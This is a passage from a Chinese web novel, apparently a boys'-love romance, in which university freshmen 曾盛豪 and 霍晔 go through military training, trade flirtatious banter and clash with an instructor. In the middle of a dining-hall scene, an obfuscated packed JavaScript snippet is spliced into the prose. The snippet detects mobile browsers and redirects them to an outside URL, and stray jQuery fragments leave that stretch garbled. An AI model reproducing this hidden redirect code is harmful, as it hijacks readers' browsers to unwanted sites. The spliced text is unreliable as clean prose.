曾盛豪是个军事迷,但没参加过国内的学生军训,第一次去荒野基地体验军|事行动,颇有些扛|枪上战场的兴奋劲儿。 昨晚熄灯前,曾盛豪蹲在床尾角落收拾背包,霍晔歪身躺在他床铺上搔首弄姿。 霍晔从拖鞋抽出脚丫子,踩了两下他屁股,懒洋洋道:“亲爱的,记得多带两瓶防晒,不然回头晒成了黑卤蛋,我就不喜欢你了。” 曾盛豪头也不抬:“我认为你这种贪慕虚表的思想很肤浅。” 霍晔翻了个身,打着哈欠说:“说得跟你不是似的。” 车程一个半小时,七点刚好抵达目的地。 新生们刚下车,有个黑皮教官就吹口哨喊他们,说集合时间是七点十分,他们安置不好就罚跑十圈。 于是千百号新兵蛋子们争先恐后,背着行囊、冲过操场,一路吱哇乱叫着狂奔去宿舍撂行李,再没命地撒丫子跑回来。 一时间,整片操场风卷残云,烟尘滚滚。 七点十分整,诸新生喘着粗气,大汗淋漓,在各班体委带领下,整齐有序地出现在黑皮教官面前。 黑皮教官背着手,绷紧的国字脸上露出几分满意神色,不吝赞叹道:“不愧是M大的学生。” 诸新生傲气勃发:“谢谢教官!” 黑皮教官举着个大喇叭,冲人群喊:“哪个是霍晔!” 霍晔迈步出列,大声喊:“到!” 黑皮教官笑眯眯看他一眼,然后挥手指向操场:“你先去跑二十圈,给大家展示一下罚跑的范本。” 霍晔:“……” 于是在诸新生集体匪夷所思的目光下,霍晔无语又无奈地脱了外套,迈着两条迷彩服包裹着的大长腿,开始在操场上一圈又一圈地跑。 黑皮教官又举喇叭喊:“哪个是赵茂青!” 赵茂青昂声出列:“到!” 他一边自觉地脱着外套,一边笑声问:“教官,我也要和他一起跑么?” 黑皮教官二话不说奔过去,扬手就先削他一大耳刮子,骂道:“他奶奶的,中午别吃饭了,先把你这一头黄毛给我剃了!” 赵茂青吃痛一叫,挠着脑袋不太情愿:“别啊,冷调金显得我比较帅。” 黑皮教官又踹他一脚,虎着脸道:“找死呢,规矩就规矩!你哪根葱儿啊,搞什么特殊!” 赵茂青无奈:“行行行,中午我染回来!” 黑皮教官呵斥:“再剃短点儿!三百标准俯卧撑!” 赵茂青身姿笔直冲人敬个军礼:“是!” 队伍中,曾盛豪眉头倏地蹙起,不自觉抿了下唇。 “孙天!” “到!” “七十个标准引体向上!” “是!” “王麟!” “到!” “深蹲、蛙跳、仰卧起坐各三十!标准姿!” “是!” 一系列指令发下,霍、赵、孙、王四人持续标准姿贯彻执行,并在太阳高悬于正南方向前,各自绞着湿透的军训服,陆续完成任务归队。 新生们渐渐明白这些人都是练家子,黑皮教官则既是摆范本,也是下马威。至于此四人何许身份,众人心里似乎也都有了数,但强者为王,大家又不禁在心底肃然起敬。 上午其他人也没闲着,各院系分好连队,推举出连长。 外院是十三连,江箫和隔壁班体委是正副连长。 接着便是站军姿,晒太阳,迎教官。 临近正午,一队两排教官喊着口号,步伐整齐地慢跑过来,在众学生面前立定。 曾盛豪全程一动不动,鼻翼翕张,感受着身旁男生不停袭来的香汗热气。头顶毒日烈阳,曾盛豪脸上也在淌汗,皮肤表面被山上的紫外线火燎燎地刺痛着,一颗心也愈发躁动不安。 直至一个新教官面无表情踢着正步,步履铿锵着过来十三连,曾盛豪发现身旁男生整个气场都绷紧了。 曾盛豪看了眼霍晔,又好奇地望向那新教官。 那教官说他姓叶,一叶知秋的叶。他自报家门,军衔少校,现役特战部队中队指挥员。鉴于本年度M大军训人员情况特殊,上级特地委派他来总指挥行动。 “我绝不会因为手下的新兵是大学生就会对任何人客气!也希望队列中的诸位同学能够严肃配合我!” 大抵是因为他模样太英俊,叶教官训话越是一本正经,反而越是撩人心扉。 众人便哄笑起来,还有女生大着胆子问他有没有女朋友。 “我订婚了。这位同学请你自重。” 曾盛豪听到身旁人冷呵一声。 叶教官闻声而动,眼神鹰隼一般杀过来。 看见熟悉面孔,他似乎也犹豫了几秒,接着走到霍晔面前,询问:“这位同学,你有什么意见?” 霍晔双手背后,扯着嗓子冲他耳朵喊:“报告!没有!” 叶教官皱眉揉了下耳朵。他抬眼望着对方,张了张嘴,似乎欲要辩解什么。 霍晔清洌洌的眸光直逼着他。 叶教官没再吭声,转身离开,开始领着十三连正常训练。 曾盛豪全程目睹二人奇怪氛围,但又不敢再像上次那样,因为几个蚊子包就随意乱猜测。 于是他等到队伍集体向右转时,小声跟前边人搭话:“诶,霍晔,你觉得咱们这教官年纪多大啊?” 霍晔回头斜瞥他一眼,深眸似笑非笑:“二十八岁零三个月五天。” 曾盛豪一噎,低头下去,彻底无话可说。 十二点准时解散,教官集体排着队小跑离开,不和新生们坐一起吃饭。 曾盛豪没由来地松下一口气。 609四人组去食堂打饭,路上江箫询问霍晔刚才在队伍里说啥了,惹得叶教官直接找过去了? 霍晔一脸淡淡:“没什么,就是咳嗽了一声。” 曾盛豪在旁边竖着耳朵听,等着江箫继续再问几个质量高点儿的问题,赵茂青便在不远处冲众人招手:“哥儿几个,一起吃饭去啊!我请!” 于是四人组又变成了七人组,一个个都超不客气,谈笑间走去食堂最贵的窗口,打最贵的饭,喝最贵的饮料,接着闹哄哄地围坐在同一张桌上七聊八聊。 赵茂青的出现令曾盛豪最关心的话题岔开了。席间,赵茂青屡次抬手撩头发耍帅,向众人显摆他腕上的饰品—— 昨天新生活动时,霍晔在礼堂戴的那条藏青混黑色的编织手绳。 江箫见曾盛豪一副便秘脸,登时笑得不行。 他幸灾乐祸凑近道:“这下醋大发了吧?” 曾盛豪低头认真挑着鱼刺:“跟我没关系。” 江箫便笑着解释:“你别想多了,昨天饭间他们抽烟,霍晔手绳上被烟灰烫了一个小黑点,他随手摘下来就要扔,赵茂青说这手绳和他名字挺配的,让霍晔不要就给他了。大家都知道的,这不是那意思。” 曾盛豪就把刚挑好刺的鱼肉放进江箫碗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521256|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这个鱼不错,你尝尝。” 桌对面,赵茂青哥仨正苦口婆心,劝霍晔忍忍三周就过去了,毕竟老叶是来保护他们的,霍晔如果太计较了,那显得多没范儿啊。 霍晔托腮叼着筷子,一条腿屈膝踩着凳子,左肩上搭着军训服外套,从头到脚一副痞子样儿。他有一搭没一搭地听着,余光一瞥,就见曾盛豪竟敢当着他面红杏出墙。 霍晔满脸不高兴:“曾盛豪,你怎么不给我挑鱼刺?” 曾盛豪低头吃饭没理他。 赵茂青嗅出不对劲儿:“他为啥要给你挑鱼刺?” 霍晔冲他翻个白眼:“就他碗里有条大鲤鱼,他不给我挑,你去他碗里给我挑啊?” “成,等着!”赵茂青端起餐盘,起身就要去窗口再打一份鱼。 霍晔头也不回,一把将人给拽回来:“坐下,吃饭。” 赵茂青就笑呵呵地坐下,商量道:“等下陪我去染发呗?你审美好,帮我选个黑头发的造型。” 霍晔一口一颗饭粒,不停瞟眼瞄着对面人,说:“成啊。” 曾盛豪唰地抬起头,不甚赞同地和他对视一眼。 霍晔当即笑眯眯地递过去一个飞吻。 曾盛豪端着餐盘离去:“我吃饱了,先走了。” 霍晔望着那人背影,没忍住嘟囔一句:“又一个怂包。” “咱也快点儿,”赵茂青埋头狼吞虎咽,催促道:“不然赶不上下午训练了。” “知道了。” 下午一点四十,江箫满头热汗,领着一帮男生抬着好几打矿泉水进操场,又一路小跑来外院十三连整队。曾盛豪和其他几个高个男生排在倒数第一排,他余光瞄着身旁倒数第二的空位,既希望那人快点回来,又想着,都是花花蝴蝶了,干脆直接跟别人走掉好了。 没多久,金融系那边几个班的女生集体骚动起来。 “哇——” “你们班赵茂青好帅啊!” “真的诶!换了个发型都跟变了个人似的!” 曾盛豪闻声转过头,老远就瞧见赵茂青顶着黢黑的寸头,笑声爽朗地朝这边大踏步着走来。 那一派英姿勃发,气壮山河,浑身浓烈的直男气息可逼退方圆十里山郊大野狼。 曾盛豪一颗心又松又紧。 霍晔与赵茂青很快分道扬镳,并一眼在人群中锁定了他的视线,笑盈盈朝他走来。 曾盛豪嘴角便毫无道理地翘上了天。 “笑什么?”霍晔笑眼勾着,抬腿踹他一脚。 “没什么。” “给他换个发型,让他清醒清醒。”霍晔在他身旁立定,“赵茂青才不喜欢男的。” “不,”曾盛豪否定道,“他喜欢的不是单纯的男性或者女性。” “嗯,”霍晔淡笑,“怎么说?” “他喜欢的是美人。”曾盛豪目光瞥向他,“每个人都会喜欢美人。” 霍晔笑笑,没有和他对视:“那你说,美人又会喜欢谁呢?” 曾盛豪不假思索道:“古往今来,美人一般都会喜欢英雄。” “那你觉得,你是英雄么?” “这要看你怎么定义了,从传统英雄能征善战的角度上来说,我认为我不是,但在靠脑力角逐的现代文明社会里,我——” 话还没说完,空气中响起一道尖锐哨声,叶教官出现在众人面前,面庞英俊,嗓门洪亮: “十三连全体有令!” “到!” “稍息!立正!集体站军姿半小时!” 叶教官绕队巡视一圈,脚步精准停到曾盛豪面前,转过身,盯着他: “你,刚才说话,二百俯卧撑!” 9. 第九章 一般情况下,新兵初犯小错,教官只罚五十俯卧撑。 曾盛豪不知道。 他只是庆幸自己在中学练过六年跆拳道,然后在叶教官冷峻犀利的目光审视下,趴地上把二百标准姿俯卧撑做完。 汗水犹如瓢泼大雨浸湿全身,累得他肩酸腹胀,两条胳膊抖动不已。待曾盛豪呼哧呼哧地喘着粗气,顶着满脑子乱飞的星星归队时,霍晔在他旁边一个劲儿地憋笑。那瓷白玉润的美人胚子,红唇笑靥宛若一朵嫣红牡丹花,邪恶又芬芳。 曾盛豪抬手擦着汗,不免窝着几分火气。 心想,美人虽美,品德却不是很好。 曾盛豪已然下定决心,强使自己不能再对这只邪恶妖孽产生多余的关注,然而某天晚间洗漱过后,宿舍四人难得卧谈闲聊,不知怎的就扯到彼此的恋爱史,曾盛豪平静心湖又被撩动起几分好奇与澎湃。 事情起因是这天下午休息期间,汉语言那边跑来个超漂亮的女生,喊着姜离一起去小卖部买零食。 姜离在609宿舍以“起床气大”闻名,即便刚开学互相不熟,他清晨若被人打扰了好梦,势必要恼怒地卷着被窝,在床上狠狠翻几个跟头。然而他当时正在树荫下打瞌睡,那女生一叫他,他立马戴上帽子就跟人走了,哪有半分起床气的意思? 姜离哼哼着,在床铺上低头剪脚趾甲,对其余仨人投来的暧昧眼神视若无睹。他只说那女生是他老家发小,大他两岁,叫刘可欣,是他邻居姐姐。但他一不觉得她貌美,二不愿喊她姐姐,和她纯当哥们儿处的。 其他仨人满脸不信,但姜离嘴比蚌壳还难撬开,于是话题便转移到江箫头上。 江箫人高马大,一脸深眉浓颜重欲长相,尤其板起脸来,威压感逼人。但他本人自称淡人,对恋爱没啥兴趣,只在高中时代频繁收到过以刘三花、陈翠翠、胡小香为代表人物的大摞情书,这就已然足够填满他作为一个英俊帅哥在青春时代的虚荣心了。 霍晔听罢就开始翻白眼,曾盛豪也笑个不停,姜离不客气点评:“一堆俗名。” 轮到霍晔,他倒很坦诚。 霍晔小时候属于精力严重过剩的野马类型。在学校,霍晔是戴红领巾的升旗组少先队员,无论大小考都稳拿第一,什么党|章宪|法、时代标语思想张口就来,标准三好学生道德模范。然而晚上回到家属院,此人一秒切换混世魔王,趁着邻居烧火做饭,背着书包就爬人家屋顶上,拿着土坷垃、稻草和牛粪,一脸邪恶地笑着去堵人家的烟囱,把邻居全家人都熏成黑煤球。 此魔王宛如吃了亢奋|剂,每天清早四点坚持去河边上游撒尿,气得在下游洗衣服的保姆们集体抄棍子追着他喊;三更半夜他不睡觉,在院子里点火放鞭炮,吵得周遭熟睡邻居怨声四起;夏天他光着膀子,逮住赵茂青孙天王麟几个一窜而上,骑在几人脖子上喊驾驾驾;冬天打雪仗把对门儿女孩子叶婧柠砸出鼻血,他母亲邵书斓被同事们投诉得焦头烂额,只好向上级申请搬到小区楼房住,以此管住霍晔那两条马力十足的腿。 于是霍晔每天放学后就去小区门口逗弄站岗的哨|兵。 他爸嫌他闹腾的丢人,一脚给他踢进了部队,扬言要练死他。 因为年纪小,新兵队伍训练强度也不算太大,霍晔便跟着很多新兵蛋子们一起练。 霍晔每年都能在新兵连里挑出几个长相不错的陪他玩儿,和人家处得像哥们儿又像情侣,然而赵茂青和孙天王麟那几个王八羔子,每次都会成群结伴跑去找他爸告状,指责霍晔不老实。 十一二岁的时候还好,四人是发小,平时小打小闹,聚众干一架就一笑泯恩仇了。 十四岁那年,霍晔的个子窜得比很多新兵还要高,模样似乎却越长越偏——浓眉笑靥,红唇白齿,白肤细皮阴柔若妖,偏自持着一派铿锵正气,任谁瞧见了,都不禁会赞叹一句“玉树临风”。 赵茂青那兔崽子不晓得哪来的怒火,对霍晔的攻击性直接上升到仇恨级别,拉动一切可以煽动势力,当众戳穿他性向,一定坚持让他这个异类从部队里滚出去,以正视听! “然后呢?”宿舍其余三人都觉得霍晔是个传奇小孩。 “然后我就滚出去了呗,”霍晔耸耸肩,幽默自嘲道,“喜提自由美利坚四年游,简直是自由极了!” 几人都笑,说他活该。 最后讲到曾盛豪。 曾盛豪讲述故事的语气和他波澜不惊的青春一样平淡无趣。 职业规划原因,曾盛豪小时候跟着文化界泰斗爷爷在国内念书,力求扎根本土文化,养成一派成熟稳重的老练气质。中学随父亲去英国,因为性格沉闷不合群,遭到班上同学孤立,又因动辄言辞犀利,惹得身边中国同学也不太爱跟他玩儿。 高中时代,他五官渐渐长开,因常年课外坚持体能训练,身高外形已然是典型精英范儿,有不少女生主动找他约会,但曾盛豪骨子里坚守老一辈“一切不以结婚为目的的恋爱都是在耍流氓”,对国外的date文化没兴趣,于是对来撩他的女孩儿们通通婉拒。 然而印象中,曾盛豪说,他曾对一位有着如瀑黑色长发的中国女生有过好感。但俩人没说过话,他也从未看清过她模样,只记得她长发及腰的绰约背影,宛若一副典型东方美人的意象,令他倍感向往。 霍晔在对面上铺翘着二郎腿,不屑哼哼两声:“哥们儿,你这叫思乡,不叫恋爱。” 曾盛豪见人语气发酸,没由来心底一阵骄傲:“我觉得我暗恋她。” 霍晔冷笑,抄起一瓶小罐防晒,搁在手掌心掂了两掂,然后发射飞刀一样,重重砸进对方裤|裆。 “恋去吧!现在你就找她去!” 曾盛豪埋头捂着裤|裆闷哼起来,半晒黑的脸上痛苦万分。 身后两位看好戏的吃瓜群众不禁吭吭哧哧笑起来。 十秒过后,宿舍爆发出一声愤怒的咆哮。 “霍晔——!” “干嘛?”逞凶者无所畏惧。 “打坏了你负责!” ** 最近练习军体拳和匍匐射击,从早到晚在黄土里打滚,人人灰头土脸的,不透气的劣质军训服混杂着身上汗液,头发也干糙发毛,众新生成了名副其实的山上的野猴。 大抵因为这段时间朝夕相处,曾盛豪发现霍晔和叶教官的关系缓和了许多。 比如,叶教官命令霍晔当众做示范,霍晔没再装聋听不见;霍晔喊叶教官比赛枪法,说输的人罚做二百俯卧撑,叶教官也欣然应允。不过两人年岁虽然相差悬殊,但枪法竟不相上下,在校场持续半小时的比赛中,二人命中靶心犹如吃饭喝水一样随意简单,看得围观同学们热血沸腾,惊呼赞叹声不绝于口。 还比如,这天下午叶教官提前来到训练场,从衣兜里掏出个橘子,隔空抛给霍晔。霍晔当即抬手接过,装进里自己裤兜里。 俩人相视一笑,在空气中摩擦出的火花噼里啪啦的,宛若雷电一般,毫不客气地劈在曾盛豪的脸上。 曾盛豪认为自己有足够的道理愤怒。 他就很不理解了,他在队伍中说话,叶教官就罚他做俯卧撑,那叶教官随便乱扔橘子,这人怎么不自己罚自己做四百俯卧撑? 呵,为老不尊。 这天晚上山间林木瑟瑟,凉爽秋风阵阵袭来,叶教官就没让十三连去教室上军事理论课。 叶教官让众新生在操场上抱团聚拢,大家手拉着手围成个大圈,盘腿坐在地上。叶教官站着大圈中央,一句一句地教他们唱军歌。 学生们心情轻松,纷纷有模有样地学。待到集体大合唱,众人默契地打开照明灯,在一声声纯真质朴的歌词中,有节奏地晃动着手机和手电筒,忘情投入地享受着这一个庄肃和谐的夜晚。 夜天星星闪亮,远山偶尔划过萤火流光,草地静谧安详。 军歌唱完,叶教官难得展现出平易近人的一面,笑着鼓励着新生上来表演才艺。 他话音刚落,有个扎着麻花辫的女生便唰地举起手,笑声大喊:“报告教官!我要给大家跳一段拉丁舞!” “好!上来!”叶教官带头鼓掌,缓缓退去一旁,笑问道:“告诉大家,你叫什么名字!” 那女生颇有气势地站着圈子中央,自我介绍道:“大家好!我叫秦米!秦朝的秦!大米的米!” “好样的!” “秦米是我们二班的!” “加油!秦米!” 众人一阵热烈地掌声、欢呼声。 叶教官就笑:“我记起你了,第一天是不是你问我有没有女朋友?” “我开个玩笑嘛!”秦米这些天算是怵他了,生怕他打击报复,忙狗腿笑道:“您明天可别以公谋私罚我做蹲起啊!” 叶教官眉梢一挑:“我看起来像是以公谋私的人么?” “不像不像,”秦米嘿嘿笑,“叶教官您最正直了!” 底下曾盛豪忍不住冷呵一声。 他也是最近才晓得,初犯小错只罚五十俯卧撑的。 旁边霍晔见人脸色不对劲儿,斜着肩膀凑过来问:“爱妃,哪里又让你不高兴了?” 曾盛豪冷哼:“我认为,这个叶教官不是个好人。” 霍晔深以为然:“你认为的对。” 曾盛豪扭头瞪他一眼:“那你还吃他给你的橘子?” 霍晔皱起眉:“你怎么这么小气?” 曾盛豪一听这话,胸膛猛地蹿上一股无名火儿,一句激昂愤慨的“他最近又是罚我俯卧撑,又是没完没了地罚我跑圈做引体向上,都快把我累成狗肉干了,你都没有看到吗”就要脱口而出,秦米翩然婀娜的舞步就先一步靠近过来。 她俯下身,向他们这边行了一个绅士礼,接着朝姜离伸出了手,笑道:“小帅哥,你要和我一起跳么?” 姜离满脸懵逼,茫然仰头看她:“我……我……我不会跳啊……” 但这一声很快被众人炮火般的兴奋起哄声淹没: “一起跳!一起跳!” “今晚你俩必须一起跳——!” “二班那个蓝毛儿,爷们儿点儿!还不快站起来!” 姜离一味坐着发愣,任对方伸过来的手晾在半空,这边霍晔掌心拍了拍曾盛豪肩膀,然后笑声站起身,向秦米伸出手:“同学,我学过一点拉丁,不算精通,请你多指教。” 秦米和他对视一眼,笑意浮上眼角:“霍大公子,久仰大名了。” 霍晔诧异挑眉:“你认得我?” 秦米将手搭在他肩膀:“我有个姐妹儿是金融系的,她最近在追求你的好哥们赵茂青,知道一点他的身份。” 霍晔笑了,单手搂住她腰,步履开始追随她的舞步节奏,好奇道:“见鬼了,赵茂青那种大傻个儿还会有女生追?” 秦米嗔他一眼:“人家可比你受欢迎多了。” 霍晔失笑,牵着她转了个圈,问道:“那边怎么称呼他的?赵大公子?” 一刹那,秦米身姿骤然逼近,与他怀抱紧紧相贴,说: “他比你平易近人,人家都喊他茂青哥。” 这一刹那的亲密相拥也令全体观众彻底疯狂沸腾了。 军训期间,外院所有的风头似乎都让霍晔一个人出尽了,但这并不影响众人在亢奋激昂情绪下,集体爆发出雷鸣般的掌声。 “卧槽啊,霍晔是真爷们儿!秦米是真女人啊!你俩都24K纯真男女神啊!” “郎才女貌!绝配顶配天仙配!” “在一起!在一起!” “秦米霍晔你俩给我锁死!锁死!” 曾盛豪被这群不明真相的吃瓜群众的欢呼声吵得头疼不已,正伸手往怀里摸手机,打算趁乱偷录一段那二人跳舞的视频,手机便先嗡嗡震动个不停。 他低头一看来电显示,犹豫几秒,没跟叶教官打报告,自己偷偷猫着身子躲到灌木丛接电话去了。 “喂,”他找了个大树根儿坐下,“妈。” “最近怎么样?”对面女人冷峻声线中透着几分温柔慈和:“你第一次住校,还适应吗?” “挺好的,同学也都很好,”曾盛豪笑,“我们在山上基地军训呢,可有意思了。” “你邵爷爷家那个小外孙呢?他怎么样?” “和你们之前描述的差不多,”曾盛豪低头拿了根儿树枝,在地上胡乱画着圈圈,“聪明,大方,活泼,善良,心细,可爱,潇洒,还……武艺高强。” 电话那边女人罕见大笑起来:“看来你们相处的不错。” 曾盛豪心里倏地一紧。 他垂下眼,将那隐晦不安的心事强压下去,声线绷紧道:“没有,其实就一般。刚开学,我们还不算特别熟。” 曾母道:“没关系,你们宿舍四个人,一个跳级的小孩儿,一个普高毕业,注定就你和他两个人说得来。” 曾盛豪点头:“我知道。” 曾母:“等你们熟了,你找机会把想法给他暗示一下,不用觉得有压力,咱们又不是要违法作乱,一个小小的要求而已,对他来说只不过是打声招呼的事儿。” 曾盛豪沉默片刻,说:“我知道。” 曾母听出他情绪不对,便冷声提醒:“盛豪,你不要觉得抵触,君子先谋身再谋国,机会都送到面前了,你要是争不到一席之地,你这些年的努力就全都白费了!” 曾盛豪沉下眼眸:“我知道。” 曾母放心了。临挂电话,她又问:“对了,他对你印象怎么样啊?” 曾盛豪顿了顿,不禁扭身回望向操场,想要去寻觅那人舞姿翩飞的高挑身影。 一不留意正对上叶教官虎视眈眈直逼过来的眸光。 曾盛豪冷不丁手一抖,心虚转过头,捂着手机小声道:“妈,不说了,我们还有晚训,先挂了。” “好,你注意身体。” 挂断电话,曾盛豪低头深呼吸几口气,在兜里揣好手机,一鼓作气猫着腰偷溜回队伍。< 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曾盛豪问江箫和姜离,俩人都说不知道,曾盛豪就让他们先走。 他立在原地,想起霍晔那句“行”,立刻掏手机给对方发一句: 【你去哪儿了?】 操场人都快散干净了,霍晔终于回复他: 【曾盛豪,平时玩笑归玩笑,我不会一直走向任何一个人】 曾盛豪仰头望着山间夜色,叹息一声。 他不懂那个活蹦乱跳爆炸糖似的少年怎的就突然惆怅上了。 于是低头回复: 【晚上太危险了,如果你又是一个人在外面乱逛,我过去找你】 霍晔: 【山谷河边】 曾盛豪想也不想,拔腿就往山脚下跑。 路途光影昏晦,山路九转十八弯,道旁林叶萧瑟,冷风袭人,曾盛豪迈着大步,不禁在中途反思起自己: 眼下快宵禁的点儿,他一个从小到大的标准三好学生,竟然冒着被教官逮到背处分的风险,去找一个才刚认识不到一个月的、似乎连朋友都算不上的……暧昧对象,这看似一腔赤诚热肠,究竟藏着几分真心实意,又存着几分讨好虚伪? 夜风太凉,吹得他心太乱。一抬头,数颗参天大树枝叶繁茂遮云蔽日,模糊得他自己也辨不清真伪。 惘然间,他缓缓走进山谷。月光下,细长河流宛若一条蜿蜒银带,倒映着河边孑然孤立的清瘦人影。 霍晔懒洋洋地塌着肩膀,一手插着兜,另一手夹着半支烟断续往唇边递送。 他尚未察觉到有人来临,皱巴巴的脏外套被随意丢弃在脚边,英挺浓眉微蹙,红唇白齿疏忽张合,冲虚空喷吐着淡薄的青雾。他目光持续望向河岸对过那座瘦石嶙峋的千年老山,那凛冽眸光比月光还要清冷三分。 曾盛豪无声无息地飘到他身旁,声音幽怨:“原来是你自己抽烟。” 霍晔猝不及防一个激灵,扭头冲人笑了声,说:“怕你嫌弃我,刚认识就不跟我玩儿了。” 接着,随手把剩下三分之一的炽红烟头丢进河里,然后邀功似的对身旁人炫耀:“看!我多有防山林火灾的意识,这说明我是个好人。” 曾盛豪没忍住一笑:“我才没那么幼稚!” 霍晔“切”一声:“你还不够幼稚?” 二人眸光相撞,笑意交织,彼此胸膛不知怎的就忽然挨着了。 霍晔主动伸手指戳一下对方的脸颊,笑道:“盛豪哥,你这里咬肌好性感啊。” 曾盛豪轻轻“嗯”一声,情不自禁地低下头想吻他。 霍晔又别过脸,哼道:“不行,我刚才抽过烟了,不太好。” 曾盛豪登时清醒,与人保持几分距离,也觉得有点尴尬:“没、没有,是我不好。” 霍晔就笑,问他:“你怎么不好了?” 曾盛豪也笑:“反正是我不好。” 霍晔那件外套脏得没法穿了。回宿舍路上,曾盛豪瞥见身旁男孩冻得小臂鸡皮疙瘩都起来了,便把自己外套脱下来给他穿。 霍晔却拒绝。他眼神上下打量着对方,说曾盛豪最近瘦得不轻,万一再冻病了,他会心疼。 相处时间长了,曾盛豪早就对霍晔随口脱出的情话免疫了。他性子执拗,说现在冷的是霍晔,一定要让人穿上外套。霍晔仍旧不肯穿,半开玩笑道:“这么关心我,不知道的,是以为你有求于我。” 曾盛豪无动于衷,眼神紧紧盯着对方,并丢出一句毫无杀伤力的威胁: “你不穿,我就不走了。” 霍晔没招儿了,笑声哼哼着接过外套穿上。 他觉得曾盛豪铁直板板的,傻的可爱,似乎也听不懂他的话外之意。 但俩人没走几步,曾盛豪便佯作不经意地试探问: “那会儿……叶教官都跟你聊什么了?” 霍晔登时笑得不行,抬腿轻轻踹他一脚:“要你管呢!” 曾盛豪别过脸挠着后脑勺:“我就是问问。” 霍晔一阵坏心眼起,逗弄他:“诶,你说你吃醋了,我就告诉你。” 曾盛豪面无表情:“你不想说就不说,我只是随便问问。” 霍晔心生不屑:“还好意思自诩英雄呢,你一点都不勇敢。” 曾盛豪当即驳斥:“你这话不对,一个人能够勇敢是他基于了某种已确定的事实,但于我而言,我没有这种事实前提。” 霍晔不赞同道:“少来,那如果你追女生呢?不确定就不追了么?” 曾盛豪:“我没有追过女生。” 霍晔咬字清晰:“我说,如——果——” 曾盛豪沉声道:“我是一个坚定的唯物主义者,我拒绝接受任何先验的、悬空的假设性设问。” 霍晔:“……” 这小子中学时代被全班孤立不是没有道理的。 回到宿舍时,霍晔才察觉曾盛豪跟他生闷气。 霍晔没忍住笑,伸食指戳了对方几下脸颊,又夸他帅。曾盛豪没吱声,怀里揣着不锈钢盆,面无表情绕开霍晔去洗澡。 霍晔无奈,横身挡在门口,跟人解释:“他十一月底结婚,让我一定出席,我说行。” 曾盛豪:“哦。” 霍晔伸手挠挠他下巴,撅嘴冲人嘬嘬两声:“爱妃,这下消气了么?” 曾盛豪被逗弄得一笑。他低下头,接过对方手里的脏外套放进自己澡盆里。 “我等下帮你一起洗了。” “诶呦!”屋里头江箫笑声起哄:“贤内助啊曾哥!好男人啊!” 曾盛豪抱着澡盆拔腿就跑。 “诶!”身后霍晔喊他:“站住!” 曾盛豪急忙刹车回头望过去。 “婚礼,”霍晔淡笑望着他,“你和我一起去。” 10. 第十章 临近军训结束,叶教官跟曾盛豪说,鉴于曾盛豪军训期间表现不错,他最终会给他评一个“优”。 说完,笑着递给曾盛豪一颗苹果。 曾盛豪愣了几秒,然后很没出息地接过苹果揣着裤兜里,说:“谢谢教官。” 默认的规矩,在军训期间担任干部的、为集体有卓越贡献的,像江箫这种体委、班长级别才会评“优”,普通队伍里特别出彩的学生,譬如霍晔,他是公认模范级别,检阅时还是领队的旗手,最终会给他卡到“良”。 至于曾盛豪—— 军训二十一天,曾盛豪暴瘦十五斤。 除开日常训练,在霍晔同学和叶教官冷暴力对抗前期,叶教官因为使唤不动这臭小子,于是火眼金睛找了曾盛豪同学代霍晔同学受罚。 霍晔装聋一次,叶教官罚曾盛豪绕操场跑五圈或引体向上二十; 霍晔装聋两次,罚曾盛豪跑十圈兼引体向上四十; 霍晔冷笑着跟叶教官顶嘴,罚曾盛豪俯卧撑、蹲起、仰卧起坐各二百; 霍晔臭脾气上来,趁叶教官巡视不注意,扑过去就要给人来个过肩摔,没料被叶教官先发制人,伸出铁臂揪住霍晔后衣领,毫不客气地把人往黄土堆里摔了个重重的狗吃屎—— 即便这样,仍要罚曾盛豪俯卧撑四百、跑圈二十、引体向上四十。 …… …… 霍晔跟叶教官闹了十四天别扭,曾盛豪同学喜提十四天不重样的体罚大礼包,令一众围观同学也不禁啧啧感慨:一个人,怎么会倒霉成这个样子? 是故,曾盛豪同学成为十三连集体同学眼中的史诗级大怨种,对叶教官当众宣布给他评优这件事,所有人,没有任何异议。 坐大巴回校路上,江箫和曾盛豪同坐一排,俩人低头比划着掌心,看谁的老茧更厚。 曾盛豪手里还拿着个红苹果,说他不想一个人吃,回头切成四瓣给大伙儿分,乐得江箫合不拢嘴。 江箫扭头朝后,冲正扭头望着窗外的霍晔吆喝一声,笑声撺掇:“我们曾哥这阵子受苦了,又是替你挨罚,又是天天帮你洗外套袜子,等中午回校了,你可得请人家吃饭啊!” 霍晔便撂下窗帘,回头笑:“好啊,中午大家一起出去吧,这回就咱四个,不喊赵茂青他们了。” 江箫冲姜离使了个眼色:“等下我陪他一块儿把蓝毛染回来,我俩就不去了。” 姜离没看懂江箫挤眉弄眼,故作深沉摆摆手:“小case,咱们吃饭要紧,我可以晚上再染。” 江箫:“……” 霍晔伸手拍拍斜前方座位,探头问:“曾盛豪,你中午想吃什么菜啊?” 曾盛豪缓缓回头望他:“你刚才一直扒着窗帘在看谁?” 霍晔笑了笑:“看风景。” 曾盛豪坐回身,低头揪着苹果把儿,对身旁人道:“你跟他说,我中午去食堂吃。” 江箫无奈,扭过头冲霍晔讲:“他说他——” 霍晔翻着白眼:“我听见了。” 曾盛豪不去,午饭吃大餐这事自然就吹了。 校车大巴停在站点,众新生背着行囊陆续下车,姜离依依不舍地回头,不停望着霍·大餐·晔。 霍晔弯腰下车,正巧对上他眼神,便笑道:“没事儿,不管他,咱们几个去吃,你想吃什么?” 姜离咧嘴笑,还没来及张口,江箫二话不说一把将人拽走:“走走走,大馋狗,我请你吃。” 那俩人走了,霍晔将背包往肩上一甩,笑眯眯地挥着胳膊,向最近班上熟络起来的几个女生打招呼,和她们约着这周三大家一起去逛街唱歌做头发。然后吹着小调儿,单手插兜迈着大步往宿舍方向拐。 刚拐过楼角,身后跟随过来一道声音: “你看,你对每个人都很好。” 霍晔转过身,无所谓地冲人耸耸肩:“So what?按照你的评定标准,这只能说明我是一个好人。” “亚里士多德说‘A friend to all is a friend to 